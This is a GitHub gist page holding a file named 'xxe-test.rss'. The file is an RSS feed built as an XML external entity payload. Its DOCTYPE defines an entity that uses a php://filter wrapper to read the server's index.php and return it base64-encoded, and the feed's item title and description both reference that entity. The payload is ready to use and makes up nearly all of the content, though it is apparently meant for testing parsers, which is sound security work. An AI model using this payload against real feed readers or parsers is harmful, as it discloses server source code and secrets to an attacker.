Skip to content

Instantly share code, notes, and snippets.

@johnsaigle

johnsaigle/xxe-test.rss

Last active May 11, 2022 03:11
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save johnsaigle/e15857fb091ee14d688ce7105c5b735e to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save johnsaigle/e15857fb091ee14d688ce7105c5b735e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
xxe-test.rss
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" > ]>
<rss version="2.0">
<channel>
<title>W3Schools Home Page</title>
<link>https://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>&xxe;</title>
<link>https://www.w3schools.com/xml/xml_rss.asp</link>
<description>%xxe;</description>
</item>
</channel>
</rss>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment